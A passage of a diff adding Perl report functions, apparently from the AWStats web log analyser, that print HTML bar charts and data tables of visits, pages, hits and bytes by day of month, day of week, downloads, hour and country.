AltTitle("$Message[57]: $average_h") . " />"; + } + if ( $ShowDaysOfMonthStats =~ /B/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\"" + . AltTitle("$Message[75]: $average_k") . " />"; + } + print "</td>\n"; + print "</tr>\n"; + + # Show lib for day + print "<tr valign=\"middle\">"; + foreach + my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) + { + $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; + my $year = $1; + my $month = $2; + my $day = $3; + if ( !DateIsValid( $day, $month, $year ) ) { + next; + } # If not an existing day, go to next + my $dayofweekcursor = DayOfWeek( $day, $month, $year ); + print "<td" + . ( + $dayofweekcursor =~ /[06]/ + ? " bgcolor=\"#$color_weekend\"" + : "" + ) + . ">"; + print( + !$StaticLinks + && $day == $nowday + && $month == $nowmonth + && $year == $nowyear + ? '<span class="currentday">' + : '' + ); + print "$day<br /><span style=\"font-size: " + . ( $FrameName ne 'mainright' + && $QueryString !~ /buildpdf/i ? "9" : "8" ) + . "px;\">" + . $MonthNumLib{$month} + . "</span>"; + print( !$StaticLinks + && $day == $nowday + && $month == $nowmonth + && $year == $nowyear ? '</span>' : '' ); + print "</td>\n"; + } + print "<td> </td>"; + print "<td valign=\"middle\"" + . Tooltip(18) + . ">$Message[96]</td>\n"; + print "</tr>\n"; + print "</table>\n"; + } + print "<br />\n"; + + # Show data array for days + if ($AddDataArrayShowDaysOfMonthStats) { + print "<table>\n"; + print +"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>"; + if ( $ShowDaysOfMonthStats =~ /V/i ) { + print "<td width=\"80\" bgcolor=\"#$color_v\"" + . Tooltip(1) + . ">$Message[10]</td>"; + } + if ( $ShowDaysOfMonthStats =~ /P/i ) { + print "<td width=\"80\" bgcolor=\"#$color_p\"" + . Tooltip(3) + . ">$Message[56]</td>"; + } + if ( $ShowDaysOfMonthStats =~ /H/i ) { + print "<td width=\"80\" bgcolor=\"#$color_h\"" + . Tooltip(4) + . ">$Message[57]</td>"; + } + if ( $ShowDaysOfMonthStats =~ /B/i ) { + print "<td width=\"80\" bgcolor=\"#$color_k\"" + . Tooltip(5) + . ">$Message[75]</td>"; + } + print "</tr>"; + foreach + my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) + { + $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; + my $year = $1; + my $month = $2; + my $day = $3; + if ( !DateIsValid( $day, $month, $year ) ) { + next; + } # If not an existing day, go to next + my $dayofweekcursor = DayOfWeek( $day, $month, $year ); + print "<tr" + . ( + $dayofweekcursor =~ /[06]/ + ? " bgcolor=\"#$color_weekend\"" + : "" + ) + . ">"; + print "<td>" + . ( + !$StaticLinks + && $day == $nowday + && $month == $nowmonth + && $year == $nowyear + ? '<span class="currentday">' + : '' + ); + print Format_Date( "$year$month$day" . "000000", 2 ); + print( !$StaticLinks + && $day == $nowday + && $month == $nowmonth + && $year == $nowyear ? '</span>' : '' ); + print "</td>"; + if ( $ShowDaysOfMonthStats =~ /V/i ) { + print "<td>", + Format_Number($DayVisits{ $year . $month . $day } + ? $DayVisits{ $year . $month . $day } + : "0"), "</td>"; + } + if ( $ShowDaysOfMonthStats =~ /P/i ) { + print "<td>", + Format_Number($DayPages{ $year . $month . $day } + ? $DayPages{ $year . $month . $day } + : "0"), "</td>"; + } + if ( $ShowDaysOfMonthStats =~ /H/i ) { + print "<td>", + Format_Number($DayHits{ $year . $month . $day } + ? $DayHits{ $year . $month . $day } + : "0"), "</td>"; + } + if ( $ShowDaysOfMonthStats =~ /B/i ) { + print "<td>", + Format_Bytes( + int( $DayBytes{ $year . $month . $day } || 0 ) ), + "</td>"; + } + print "</tr>\n"; + } + + # Average row + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[96]</td>"; + if ( $ShowDaysOfMonthStats =~ /V/i ) { + print "<td>".Format_Number(int($average_v))."</td>"; + } + if ( $ShowDaysOfMonthStats =~ /P/i ) { + print "<td>".Format_Number(int($average_p))."</td>"; + } + if ( $ShowDaysOfMonthStats =~ /H/i ) { + print "<td>".Format_Number(int($average_h))."</td>"; + } + if ( $ShowDaysOfMonthStats =~ /B/i ) { + print "<td>".Format_Bytes(int($average_k))."</td>"; + } + print "</tr>\n"; + + # Total row + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[102]</td>"; + if ( $ShowDaysOfMonthStats =~ /V/i ) { + print "<td>".Format_Number($total_v)."</td>"; + } + if ( $ShowDaysOfMonthStats =~ /P/i ) { + print "<td>".Format_Number($total_p)."</td>"; + } + if ( $ShowDaysOfMonthStats =~ /H/i ) { + print "<td>".Format_Number($total_h)."</td>"; + } + if ( $ShowDaysOfMonthStats =~ /B/i ) { + print "<td>" . Format_Bytes($total_k) . "</td>"; + } + print "</tr>\n"; + print "</table>\n<br />"; + } + + print "</center>\n"; + print "</td></tr>\n"; + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Days of the Week section on the main page +# Parameters: $firstdaytocountaverage, $lastdaytocountaverage +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainDaysofWeek{ + my $firstdaytocountaverage = shift; + my $lastdaytocountaverage = shift; + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { debug( "ShowDaysOfWeekStats", 2 ); } + print "$Center<a name=\"daysofweek\"> </a><br />\n"; + my $title = "$Message[91]"; + &tab_head( "$title", 18, 0, 'daysofweek' ); + print "<tr>"; + print "<td align=\"center\">"; + print "<center>\n"; + + my $max_h = my $max_k = 0; # Start from 0 because can be lower than 1 + # Get average value for day of week + my @avg_dayofweek_nb = (); + my @avg_dayofweek_p = (); + my @avg_dayofweek_h = (); + my @avg_dayofweek_k = (); + foreach my $daycursor ( + $firstdaytocountaverage .. $lastdaytocountaverage ) + { + $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; + my $year = $1; + my $month = $2; + my $day = $3; + if ( !DateIsValid( $day, $month, $year ) ) { + next; + } # If not an existing day, go to next + my $dayofweekcursor = DayOfWeek( $day, $month, $year ); + $avg_dayofweek_nb[$dayofweekcursor] + ++; # Increase number of day used to count for this day of week + $avg_dayofweek_p[$dayofweekcursor] += + ( $DayPages{$daycursor} || 0 ); + $avg_dayofweek_h[$dayofweekcursor] += + ( $DayHits{$daycursor} || 0 ); + $avg_dayofweek_k[$dayofweekcursor] += + ( $DayBytes{$daycursor} || 0 ); + } + for (@DOWIndex) { + if ( $avg_dayofweek_nb[$_] ) { + $avg_dayofweek_p[$_] = + $avg_dayofweek_p[$_] / $avg_dayofweek_nb[$_]; + $avg_dayofweek_h[$_] = + $avg_dayofweek_h[$_] / $avg_dayofweek_nb[$_]; + $avg_dayofweek_k[$_] = + $avg_dayofweek_k[$_] / $avg_dayofweek_nb[$_]; + + #if ($avg_dayofweek_p[$_] > $max_p) { $max_p = $avg_dayofweek_p[$_]; } + if ( $avg_dayofweek_h[$_] > $max_h ) { + $max_h = $avg_dayofweek_h[$_]; + } + if ( $avg_dayofweek_k[$_] > $max_k ) { + $max_k = $avg_dayofweek_k[$_]; + } + } + else { + $avg_dayofweek_p[$_] = "?"; + $avg_dayofweek_h[$_] = "?"; + $avg_dayofweek_k[$_] = "?"; + } + } + + # Show bars for days of week + my $graphdone=0; + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) + { + my @blocklabel = (); + for (@DOWIndex) { + push @blocklabel, + ( $Message[ $_ + 84 ] . ( $_ =~ /[06]/ ? "!" : "" ) ); + } + my @vallabel = + ( "$Message[56]", "$Message[57]", "$Message[75]" ); + my @valcolor = ( "$color_p", "$color_h", "$color_k" ); + my @valmax = ( int($max_h), int($max_h), int($max_k) ); + my @valtotal = ( $TotalPages, $TotalHits, $TotalBytes ); + # TEMP + my $average_p = my $average_h = my $average_k = 0; + $average_p = sprintf( "%.2f", $AveragePages ); + $average_h = sprintf( "%.2f", $AverageHits ); + $average_k = ( + int($average_k) + ? Format_Bytes( sprintf( "%.2f", $AverageBytes ) ) + : "0.00" + ); + my @valaverage = ( $average_p, $average_h, $average_k ); + my @valdata = (); + my $xx = 0; + + for (@DOWIndex) { + $valdata[ $xx++ ] = $avg_dayofweek_p[$_] || 0; + $valdata[ $xx++ ] = $avg_dayofweek_h[$_] || 0; + $valdata[ $xx++ ] = $avg_dayofweek_k[$_] || 0; + + # Round to be ready to show array + $avg_dayofweek_p[$_] = + sprintf( "%.2f", $avg_dayofweek_p[$_] ); + $avg_dayofweek_h[$_] = + sprintf( "%.2f", $avg_dayofweek_h[$_] ); + $avg_dayofweek_k[$_] = + sprintf( "%.2f", $avg_dayofweek_k[$_] ); + + # Remove decimal part that are .0 + if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) { + $avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] ); + } + if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) { + $avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] ); + } + } + my $function = "ShowGraph_$pluginname"; + &$function( + "$title", "daysofweek", + $ShowDaysOfWeekStats, \@blocklabel, + \@vallabel, \@valcolor, + \@valmax, \@valtotal, + \@valaverage, \@valdata + ); + $graphdone=1; + } + if (! $graphdone) + { + print "<table>\n"; + print "<tr valign=\"bottom\">\n"; + for (@DOWIndex) { + my $bredde_p = 0; + my $bredde_h = 0; + my $bredde_k = 0; + if ( $max_h > 0 ) { + $bredde_p = int( + ( + $avg_dayofweek_p[$_] ne '?' + ? $avg_dayofweek_p[$_] + : 0 + ) / $max_h * $BarHeight + ) + 1; + } + if ( $max_h > 0 ) { + $bredde_h = int( + ( + $avg_dayofweek_h[$_] ne '?' + ? $avg_dayofweek_h[$_] + : 0 + ) / $max_h * $BarHeight + ) + 1; + } + if ( $max_k > 0 ) { + $bredde_k = int( + ( + $avg_dayofweek_k[$_] ne '?' + ? $avg_dayofweek_k[$_] + : 0 + ) / $max_k * $BarHeight + ) + 1; + } + $avg_dayofweek_p[$_] = sprintf( + "%.2f", + ( + $avg_dayofweek_p[$_] ne '?' + ? $avg_dayofweek_p[$_] + : 0 + ) + ); + $avg_dayofweek_h[$_] = sprintf( + "%.2f", + ( + $avg_dayofweek_h[$_] ne '?' + ? $avg_dayofweek_h[$_] + : 0 + ) + ); + $avg_dayofweek_k[$_] = sprintf( + "%.2f", + ( + $avg_dayofweek_k[$_] ne '?' + ? $avg_dayofweek_k[$_] + : 0 + ) + ); + + # Remove decimal part that are .0 + if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) { + $avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] ); + } + if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) { + $avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] ); + } + print "<td valign=\"bottom\">"; + if ( $ShowDaysOfWeekStats =~ /P/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\"" + . AltTitle("$Message[56]: $avg_dayofweek_p[$_]") + . " />"; + } + if ( $ShowDaysOfWeekStats =~ /H/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\"" + . AltTitle("$Message[57]: $avg_dayofweek_h[$_]") + . " />"; + } + if ( $ShowDaysOfWeekStats =~ /B/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\"" + . AltTitle( "$Message[75]: " + . Format_Bytes( $avg_dayofweek_k[$_] ) ) + . " />"; + } + print "</td>\n"; + } + print "</tr>\n"; + print "<tr" . Tooltip(17) . ">\n"; + for (@DOWIndex) { + print "<td" + . ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" ) + . ">" + . ( + !$StaticLinks + && $_ == ( $nowwday - 1 ) + && $MonthRequired == $nowmonth + && $YearRequired == $nowyear + ? '<span class="currentday">' + : '' + ); + print $Message[ $_ + 84 ]; + print( !$StaticLinks + && $_ == ( $nowwday - 1 ) + && $MonthRequired == $nowmonth + && $YearRequired == $nowyear ? '</span>' : '' ); + print "</td>"; + } + print "</tr>\n</table>\n"; + } + print "<br />\n"; + + # Show data array for days of week + if ($AddDataArrayShowDaysOfWeekStats) { + print "<table>\n"; + print +"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>"; + if ( $ShowDaysOfWeekStats =~ /P/i ) { + print "<td width=\"80\" bgcolor=\"#$color_p\"" + . Tooltip(3) + . ">$Message[56]</td>"; + } + if ( $ShowDaysOfWeekStats =~ /H/i ) { + print "<td width=\"80\" bgcolor=\"#$color_h\"" + . Tooltip(4) + . ">$Message[57]</td>"; + } + if ( $ShowDaysOfWeekStats =~ /B/i ) { + print "<td width=\"80\" bgcolor=\"#$color_k\"" + . Tooltip(5) + . ">$Message[75]</td></tr>"; + } + for (@DOWIndex) { + print "<tr" + . ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" ) + . ">"; + print "<td>" + . ( + !$StaticLinks + && $_ == ( $nowwday - 1 ) + && $MonthRequired == $nowmonth + && $YearRequired == $nowyear + ? '<span class="currentday">' + : '' + ); + print $Message[ $_ + 84 ]; + print( !$StaticLinks + && $_ == ( $nowwday - 1 ) + && $MonthRequired == $nowmonth + && $YearRequired == $nowyear ? '</span>' : '' ); + print "</td>"; + if ( $ShowDaysOfWeekStats =~ /P/i ) { + print "<td>", Format_Number(int($avg_dayofweek_p[$_])), "</td>"; + } + if ( $ShowDaysOfWeekStats =~ /H/i ) { + print "<td>", Format_Number(int($avg_dayofweek_h[$_])), "</td>"; + } + if ( $ShowDaysOfWeekStats =~ /B/i ) { + print "<td>", Format_Bytes(int($avg_dayofweek_k[$_])), + "</td>"; + } + print "</tr>\n"; + } + print "</table>\n<br />\n"; + } + + print "</center></td>"; + print "</tr>\n"; + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Downloads chart and table +# Parameters: - +# Input: $NewLinkParams, $NewLinkTarget +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainDownloads{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + if (!$LevelForFileTypesDetection > 0){return;} + if ($Debug) { debug( "ShowDownloadStats", 2 ); } + my $regext = qr/\.(\w{1,6})$/; + print "$Center<a name=\"downloads\"> </a><br />\n"; + my $Totalh = 0; + if ($MaxNbOf{'DownloadsShown'} < 1){$MaxNbOf{'DownloadsShown'} = 10;} # default if undefined + my $title = + "$Message[178] ($Message[77] $MaxNbOf{'DownloadsShown'}) - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=downloads") + : "$StaticLinks.downloads.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a>"; + + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=DOWNLOADS&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + &tab_head( "$title", 0, 0, 'downloads' ); + my $cnt=0; + for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ + $Totalh += $_downloads{$u}->{'AWSTATS_HITS'}; + $cnt++; + if ($cnt > 4){last;} + } + # Graph the top five in a pie chart + if (scalar keys %_downloads > 1){ + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) + { + my @blocklabel = (); + my @valdata = (); + my @valcolor = ($color_p); + my $cnt = 0; + for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ + push @valdata, ($_downloads{$u}->{'AWSTATS_HITS'} / $Totalh * 1000 ) / 10; + push @blocklabel, Get_Filename($u); + $cnt++; + if ($cnt > 4) { last; } + } + my $columns = 2; + if ($ShowDownloadsStats =~ /H/i){$columns += length($ShowDownloadsStats)+1;} + else{$columns += length($ShowDownloadsStats);} + print "<tr><td colspan=\"$columns\">"; + my $function = "ShowGraph_$pluginname"; + &$function( + "$Message[80]", "downloads", + 0, \@blocklabel, + 0, \@valcolor, + 0, 0, + 0, \@valdata + ); + print "</td></tr>"; + } + } + + my $total_dls = scalar keys %_downloads; + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]: $total_dls</th>"; + if ( $ShowDownloadsStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>" + ."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; } + if ( $ShowDownloadsStats =~ /B/i ){ + print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; + print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; + } + print "</tr>\n"; + my $count = 0; + for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ + print "<tr>"; + my $ext = Get_Extension($regext, $u); + if ( !$ext) { + print "<td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/mime\/unknown.png\"" + . AltTitle("") + . " /></td>"; + } + else { + my $nameicon = $MimeHashLib{$ext}[0] || "notavailable"; + my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || " "; + print "<td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/mime\/$nameicon.png\"" + . AltTitle("") + . " /></td>"; + } + print "<td class=\"aws\">"; + &HTMLShowURLInfo($u); + print "</td>"; + if ( $ShowDownloadsStats =~ /H/i ){ + print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>"; + print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>"; + } + if ( $ShowDownloadsStats =~ /B/i ){ + print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>"; + print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/ + ($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>"; + } + print "</tr>\n"; + $count++; + if ($count >= $MaxNbOf{'DownloadsShown'}){last;} + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the hours chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainHours{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { debug( "ShowHoursStats", 2 ); } + print "$Center<a name=\"hours\"> </a><br />\n"; + my $title = "$Message[20]"; + + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=TIME&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + if ( $PluginsLoaded{'GetTimeZoneTitle'}{'timezone'} ) { + $title .= " (GMT " + . ( GetTimeZoneTitle_timezone() >= 0 ? "+" : "" ) + . int( GetTimeZoneTitle_timezone() ) . ")"; + } + &tab_head( "$title", 19, 0, 'hours' ); + print "<tr><td align=\"center\">\n"; + print "<center>\n"; + + my $max_h = my $max_k = 1; + for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { + + #if ($_time_p[$ix]>$max_p) { $max_p=$_time_p[$ix]; } + if ( $_time_h[$ix] > $max_h ) { $max_h = $_time_h[$ix]; } + if ( $_time_k[$ix] > $max_k ) { $max_k = $_time_k[$ix]; } + } + + # Show bars for hour + my $graphdone=0; + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) + { + my @blocklabel = ( 0 .. 23 ); + my @vallabel = + ( "$Message[56]", "$Message[57]", "$Message[75]" ); + my @valcolor = ( "$color_p", "$color_h", "$color_k" ); + my @valmax = ( int($max_h), int($max_h), int($max_k) ); + my @valtotal = ( $TotalPages, $TotalHits, $TotalBytes ); + my @valaverage = ( $AveragePages, $AverageHits, $AverageBytes ); + my @valdata = (); + my $xx = 0; + for ( 0 .. 23 ) { + $valdata[ $xx++ ] = $_time_p[$_] || 0; + $valdata[ $xx++ ] = $_time_h[$_] || 0; + $valdata[ $xx++ ] = $_time_k[$_] || 0; + } + my $function = "ShowGraph_$pluginname"; + &$function( + "$title", "hours", + $ShowHoursStats, \@blocklabel, + \@vallabel, \@valcolor, + \@valmax, \@valtotal, + \@valaverage, \@valdata + ); + $graphdone=1; + } + if (! $graphdone) + { + print "<table>\n"; + print "<tr valign=\"bottom\">\n"; + for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { + my $bredde_p = 0; + my $bredde_h = 0; + my $bredde_k = 0; + if ( $max_h > 0 ) { + $bredde_p = + int( $BarHeight * $_time_p[$ix] / $max_h ) + 1; + } + if ( $max_h > 0 ) { + $bredde_h = + int( $BarHeight * $_time_h[$ix] / $max_h ) + 1; + } + if ( $max_k > 0 ) { + $bredde_k = + int( $BarHeight * $_time_k[$ix] / $max_k ) + 1; + } + print "<td>"; + if ( $ShowHoursStats =~ /P/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\"" + . AltTitle( "$Message[56]: " . int( $_time_p[$ix] ) ) + . " />"; + } + if ( $ShowHoursStats =~ /H/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\"" + . AltTitle( "$Message[57]: " . int( $_time_h[$ix] ) ) + . " />"; + } + if ( $ShowHoursStats =~ /B/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\"" + . AltTitle( + "$Message[75]: " . Format_Bytes( $_time_k[$ix] ) ) + . " />"; + } + print "</td>\n"; + } + print "</tr>\n"; + + # Show hour lib + print "<tr" . Tooltip(17) . ">"; + for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { + print "<th width=\"19\">$ix</th>\n" + ; # width=19 instead of 18 to avoid a MacOS browser bug. + } + print "</tr>\n"; + + # Show clock icon + print "<tr" . Tooltip(17) . ">\n"; + for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { + my $hrs = ( $ix >= 12 ? $ix - 12 : $ix ); + my $hre = ( $ix >= 12 ? $ix - 11 : $ix + 1 ); + my $apm = ( $ix >= 12 ? "pm" : "am" ); + print +"<td><img src=\"$DirIcons\/clock\/hr$hre.png\" width=\"12\" alt=\"$hrs:00 - $hre:00 $apm\" /></td>\n"; + } + print "</tr>\n"; + print "</table>\n"; + } + print "<br />\n"; + + # Show data array for hours + if ($AddDataArrayShowHoursStats) { + print "<table width=\"650\"><tr>\n"; + print "<td align=\"center\"><center>\n"; + + print "<table>\n"; + print +"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>"; + if ( $ShowHoursStats =~ /P/i ) { + print "<td width=\"80\" bgcolor=\"#$color_p\"" + . Tooltip(3) + . ">$Message[56]</td>"; + } + if ( $ShowHoursStats =~ /H/i ) { + print "<td width=\"80\" bgcolor=\"#$color_h\"" + . Tooltip(4) + . ">$Message[57]</td>"; + } + if ( $ShowHoursStats =~ /B/i ) { + print "<td width=\"80\" bgcolor=\"#$color_k\"" + . Tooltip(5) + . ">$Message[75]</td>"; + } + print "</tr>"; + for ( my $ix = 0 ; $ix <= 11 ; $ix++ ) { + my $monthix = ( $ix < 10 ? "0$ix" : "$ix" ); + print "<tr>"; + print "<td>$monthix</td>"; + if ( $ShowHoursStats =~ /P/i ) { + print "<td>", + Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"), + "</td>"; + } + if ( $ShowHoursStats =~ /H/i ) { + print "<td>", + Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"), + "</td>"; + } + if ( $ShowHoursStats =~ /B/i ) { + print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ), + "</td>"; + } + print "</tr>\n"; + } + print "</table>\n"; + + print "</center></td>"; + print "<td width=\"10\"> </td>"; + print "<td align=\"center\"><center>\n"; + + print "<table>\n"; + print +"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>"; + if ( $ShowHoursStats =~ /P/i ) { + print "<td width=\"80\" bgcolor=\"#$color_p\"" + . Tooltip(3) + . ">$Message[56]</td>"; + } + if ( $ShowHoursStats =~ /H/i ) { + print "<td width=\"80\" bgcolor=\"#$color_h\"" + . Tooltip(4) + . ">$Message[57]</td>"; + } + if ( $ShowHoursStats =~ /B/i ) { + print "<td width=\"80\" bgcolor=\"#$color_k\"" + . Tooltip(5) + . ">$Message[75]</td>"; + } + print "</tr>\n"; + for ( my $ix = 12 ; $ix <= 23 ; $ix++ ) { + my $monthix = ( $ix < 10 ? "0$ix" : "$ix" ); + print "<tr>"; + print "<td>$monthix</td>"; + if ( $ShowHoursStats =~ /P/i ) { + print "<td>", + Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"), + "</td>"; + } + if ( $ShowHoursStats =~ /H/i ) { + print "<td>", + Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"), + "</td>"; + } + if ( $ShowHoursStats =~ /B/i ) { + print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ), + "</td>"; + } + print "</tr>\n"; + } + print "</table>\n"; + + print "</center></td></tr></table>\n"; + print "<br />\n"; + } + + print "</center></td></tr>\n"; + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the countries chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainCountries{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { debug( "ShowDomainsStats", 2 ); } + print "$Center<a name=\"countries\"> </a><br />\n"; + my $title = +"$Message[25] ($Message[77] $MaxNbOf{'Domain'}) - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=alldomains") + : "$StaticLinks.alldomains.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a>"; + + + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=DOMAIN&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + &tab_head( "$title", 19, 0, 'countries' ); + + my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0; + my $max_h = 1; + foreach ( values %_domener_h ) { + if ( $_ > $max_h ) { $max_h = $_; } + } + my $max_k = 1; + foreach ( values %_domener_k ) { + if ( $_ > $max_k ) { $max_k = $_; } + } + my $count = 0; + + &BuildKeyList( + $MaxNbOf{'Domain'}, $MinHit{'Domain'}, + \%_domener_h, \%_domener_p + ); + + # print the map + if (scalar @keylist > 1){ + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) + { + my @blocklabel = (); + my @valdata = (); + my $cnt = 0; + foreach my $key (@keylist) { + push @valdata, int( $_domener_h{$key} ); + push @blocklabel, $DomainsHashIDLib{$key}; + $cnt++; + if ($cnt > 99) { last; } + } + print "<tr><td colspan=\"7\" align=\"center\">"; + my $function = "ShowGraph_$pluginname"; + &$function( + "AWStatsCountryMap", "countries_map", + 0, \@blocklabel, + 0, 0, + 0, 0, + 0, \@valdata + ); + print "</td></tr>"; + } + } + + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>"; + + ## to add unique visitors and number of visits by calculation of average of the relation with total + ## pages and total hits, and total visits and total unique + ## by Josep Ruano @ CAPSiDE + if ( $ShowDomainsStats =~ /U/i ) { + print "<th bgcolor=\"#$color_u\" width=\"80\"" + . Tooltip(2) + . ">$Message[11]</th>"; + } + if ( $ShowDomainsStats =~ /V/i ) { + print "<th bgcolor=\"#$color_v\" width=\"80\"" + . Tooltip(1) + . ">$Message[10]</th>"; + } + if ( $ShowDomainsStats =~ /P/i ) { + print "<th bgcolor=\"#$color_p\" width=\"80\"" + . Tooltip(3) + . ">$Message[56]</th>"; + } + if ( $ShowDomainsStats =~ /H/i ) { + print "<th bgcolor=\"#$color_h\" width=\"80\"" + . Tooltip(4) + . ">$Message[57]</th>"; + } + if ( $ShowDomainsStats =~ /B/i ) { + print "<th bgcolor=\"#$color_k\" width=\"80\"" + . Tooltip(5) + . ">$Message[75]</th>"; + } + print "<th> </th>"; + print "</tr>\n"; + + foreach my $key (@keylist) { + my ( $_domener_u, $_domener_v ); + my $bredde_p = 0; + my $bredde_h = 0; + my $bredde_k = 0; + my $bredde_u = 0; + 